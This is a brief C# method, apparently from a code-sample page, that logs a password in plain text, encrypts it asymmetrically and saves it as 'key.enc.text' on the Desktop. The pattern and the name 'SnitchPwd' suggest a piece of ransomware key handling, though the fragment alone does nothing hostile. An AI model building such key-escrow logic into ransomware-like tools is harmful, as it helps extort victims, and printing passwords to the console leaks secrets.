Ejemplo n.º 1
0
 public static void SnitchPwd(string pwd, PathUtil pathUtil,
                              Encrypter encrypter)
 {
     Console.WriteLine("Pwd snitch: " + pwd);
     byte[] pwdBytes      = Utilities.ConvertUTF2Bytes(pwd);
     byte[] asymEncrypted = encrypter.AsymEncryptBytes(pwdBytes);
     Writter.WriteBytes2File(asymEncrypted,
                             Path.Combine(pathUtil.Desktop,
                                          "key.enc.text"));
 }